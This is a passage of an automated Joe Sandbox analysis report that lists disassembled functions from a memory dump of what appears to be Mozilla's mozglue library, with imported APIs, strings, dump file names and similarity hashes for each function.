Function 6C614630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C614721

Strings

profiler-paused, xrefs: 6C6146E4
-%llu, xrefs: 6C614733
., xrefs: 6C61476A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4e72869a43525046bc15929df4ff3922cb4989ce995fe95ff4f7e3c4e375f15b
Instruction ID: 5ccffa35aee49df5151fdba71889ba0c52248405241b6e87a957d8a09c64373a
Opcode Fuzzy Hash: 4e72869a43525046bc15929df4ff3922cb4989ce995fe95ff4f7e3c4e375f15b
Instruction Fuzzy Hash: 11414971A086049BCB08DF7DD89116EB7F5EF86748F10C63DE8595BB41EB7098048795

Function 6C639830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C63985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C63987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6398DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6398D9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: ba15084eb4f1bfedd6ce671bfa2cdcfa8ae94d06744ff809feb99a51cafade97
Instruction ID: a4eab3145db7107e3769dec2c251a398ecfcf1224723d89aba999a69480cf5fd
Opcode Fuzzy Hash: ba15084eb4f1bfedd6ce671bfa2cdcfa8ae94d06744ff809feb99a51cafade97
Instruction Fuzzy Hash: DC312471B001089FDB18AF59DC449EE77B9DB85718F40C42DEA2A9BB40CB30AD058FE5

Function 6C6146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C614721

Part of subcall function 6C5C4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C603EBD,00000017,?,00000000,?,6C603EBD,?,?,6C5C42D2), ref: 6C5C4444

Strings

profiler-paused, xrefs: 6C6146E4
-%llu, xrefs: 6C614733
., xrefs: 6C61476A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: ad9875ca6c944b5b89502b7abce35f0fbf53099b97fcc8a9ba828081582a450a
Instruction ID: 1bf1f99a2524b13bcb4bba384571099a1668b38775cade33a8fe308a6a67b1e8
Opcode Fuzzy Hash: ad9875ca6c944b5b89502b7abce35f0fbf53099b97fcc8a9ba828081582a450a
Instruction Fuzzy Hash: C4314B71F042088BCB0CDF6DD8816AEBBE6DBC9318F14853DE8059BB81EBB09C048B54

Function 6C61B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C61B127), ref: 6C61B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C61B4E4

Strings

pid:, xrefs: 6C61B4DE

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction ID: 5e7cf097a0a002e2abfa3a39e0d3bb52978eb38f2e8194c9f80dcb3eea4e042f
Opcode Fuzzy Hash: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction Fuzzy Hash: F23115B1A05204DBDB00DFAED880AEEB7B5BF85309F54852DD811A7F41D731A845CBE9

Function 6C5DBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C627A3F), ref: 6C5DBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C627A3F), ref: 6C5DBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C627A3F), ref: 6C5DBF7E

Strings

cl, xrefs: 6C5DBF84

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: cl
API String ID: 4279176481-2661929475
Opcode ID: c06a43f6a9d9bd4c6c2a8300fe5f0aae5791e00f4efedc08dfb7452f875b4b3c
Instruction ID: 586779961c8814e4637766c1f43996f88cf46ecb42c5e5ce53fa1166a76a5a70
Opcode Fuzzy Hash: c06a43f6a9d9bd4c6c2a8300fe5f0aae5791e00f4efedc08dfb7452f875b4b3c
Instruction Fuzzy Hash: 4811BF79200A148FC729CF1DD699A2AFBF8FB59308315989DE98A8B750C731AC00CB94

Function 6C60E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60E577
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E584
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C60E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C60E5A1, 6C60E5CC, 6C60E5FF, 6C60E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C60E722, 6C60E750, 6C60E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C60E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C60E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C60E826, 6C60E850

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction ID: b1812786e8330afccb0de9986eeb61bc59c9e8eeecfc30c09d23dc6f47af7841
Opcode Fuzzy Hash: ac1043b68a0aa5a2ac136bc998b89ff7dc3a181d317cd440bd9878db5d7b710b
Instruction Fuzzy Hash: CC118E31604654DFCB00AF16C888A6EBBB4FFC932CF44C619E89557651DB70A805CF9E

Function 6C610C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610CD5

Part of subcall function 6C5FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C610D40
free.MOZGLUE ref: 6C610DCB

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

free.MOZGLUE ref: 6C610DDD
free.MOZGLUE ref: 6C610DF2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction ID: 019e8b1ac58f240c3db2e17b042c419f162f1689fb2b48aab57eea5fa92008ed
Opcode Fuzzy Hash: ac77be5b473a3899f8c55aa0eb7065d85dbe237a727c7665d457bcc214f54abd
Instruction Fuzzy Hash: 6041047191C7809BD720CF29C4807AAFBE5BFC9714F508A2EE8D887B50DB709855CB86

Function 6C600800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C600838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C60084C
EnterCriticalSection.KERNEL32(?), ref: 6C6008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6008BD
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C6008D5

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 966ec0cb2ed8c6ae3a5a63f2c7e9b8e81f775a0b890fbe142306f875a9f99691
Instruction ID: 0971cde0c36d34ed1981bb79d7926f0084200ff3030113828b69a8f473ddc620
Opcode Fuzzy Hash: 966ec0cb2ed8c6ae3a5a63f2c7e9b8e81f775a0b890fbe142306f875a9f99691
Instruction Fuzzy Hash: 8221D030B052099BEF08DF66D884BAEB779BF85708F508529D509B7A40DB31A804CBD8

Function 6C61CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDA4

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D158
Part of subcall function 6C61D130: InitializeConditionVariable.KERNEL32(00000098,?,6C61CDBA,00100000,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CDC4

Part of subcall function 6C617480: ReleaseSRWLockExclusive.KERNEL32(?,6C6215FC,?,?,?,?,6C6215FC,?), ref: 6C6174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61CECC

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

Part of subcall function 6C60CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C61CEEA,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000), ref: 6C60CB57
Part of subcall function 6C60CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C60CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C61CEEA,?,?), ref: 6C60CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C60DA31,00100000,?,?,00000000,?), ref: 6C61D058

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction ID: d80fcc365c1ba98f772422399f93836158686ff28716976de8afae3955d63236
Opcode Fuzzy Hash: 657331c1bb5d4c96020b099fffa0092fa3d99092ded94466410dac6faff41b6a
Instruction Fuzzy Hash: 70D17F71A04B469FD708CF2CC480B99F7E1BF89308F01866DD9598BB52EB31A965CB85

Function 6C5D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5D18EE
free.MOZGLUE(?), ref: 6C5D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D194C

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 9a9dfab4fb63bf74d455b2a529e6b159270a90b409d3051c6a31a206b562fcf3
Instruction ID: d6c8e270450f43aaba3627bc96ac7d94776d574fa137532f81ace477d24e4501
Opcode Fuzzy Hash: 9a9dfab4fb63bf74d455b2a529e6b159270a90b409d3051c6a31a206b562fcf3
Instruction Fuzzy Hash: 2A81AD70A153059FDB08CF68D8849AFBBB1FF89324F05852CE815AB750E730E854CBA6

Function 6C5E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5E5D40
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67
__aulldiv.LIBCMT ref: 6C5E5DB4
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction ID: e798aa0b1d1cc4aaac8381d7626a75b45f92e064b6acd14cbab22a46268d1013
Opcode Fuzzy Hash: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction Fuzzy Hash: 6E518071E001298FCF08DFA9C994AAEBBB1FB89308F59C62DD815A7750C7306945CB95

Function 6C5CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5CCF4E

Strings

0, xrefs: 6C5CCF30

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction ID: 22a27507fec910c1a6d49a513fbdd1f1d620b95f68c61cc3e39c63bc10340ae3
Opcode Fuzzy Hash: 8eaa7c09c2f19b875529ebdf24eecc2189fd492caa15c4d075fdd62bc090fab4
Instruction Fuzzy Hash: FC51F275A0022A8FCB01CF18C890A9ABBA5EF9A304F19869DD8595F351D731BD06CBE0

Function 6C6277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C627829

Part of subcall function 6C5FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5C31A7), ref: 6C5FCC45
Part of subcall function 6C5FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5C31A7), ref: 6C5FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C62789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6278CF

Part of subcall function 6C5C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5C4E5A
Part of subcall function 6C5C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C4E97

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 9dcbb93f7c2e7a39155860c2a549ea1eaf0f31394af238807dd80d0e1ee3dc67
Instruction ID: f0361aab9d851d3129cf0a884730696532775b57d0f0b49b398e12e4afad1ce5
Opcode Fuzzy Hash: 9dcbb93f7c2e7a39155860c2a549ea1eaf0f31394af238807dd80d0e1ee3dc67
Instruction Fuzzy Hash: C041A0719047069BD300DF29C88096AFBF4FFCA354F204A2DE4A987640DB70D959CB96

Function 6C606470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6082BC,?,?), ref: 6C60649B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6064A9

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60653F
free.MOZGLUE(?), ref: 6C60655A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction ID: f28aa407fd5ad1930689a588ff87d5370f63486f8983b03e8f4b04452c2a1b42
Opcode Fuzzy Hash: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction Fuzzy Hash: C03181B5A043159FC704DF14D884A9FB7E4FF89314F40842DE85A97740E730E919CB96

Function 6C5FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C61D019,?,?,?,?,?,00000000,?,6C60DA31,00100000,?), ref: 6C5FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C61D019,?,?,?,?,?,00000000,?,6C60DA31,00100000,?,?), ref: 6C5FFFF5
free.MOZGLUE(?,?,?,?,?,6C61D019,?,?,?,?,?,00000000,?,6C60DA31,00100000,?), ref: 6C60001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C61D019,?,?,?,?,?,00000000,?,6C60DA31,00100000,?,?), ref: 6C60002A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 46e385faed453179beace96d99daa163caf3445b9048b256a04bf07438363b0d
Instruction ID: 91a9b44b18732264d32e30f772c0d9f36526184d33e695fd19346e2905d5d91b
Opcode Fuzzy Hash: 46e385faed453179beace96d99daa163caf3445b9048b256a04bf07438363b0d
Instruction Fuzzy Hash: E42106B2B002115BD70C9E78DC948AFB7FAEBC53247250738E525E7780EA70AD0287E5

Function 6C5DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5DB4F5
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB502
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5DB542
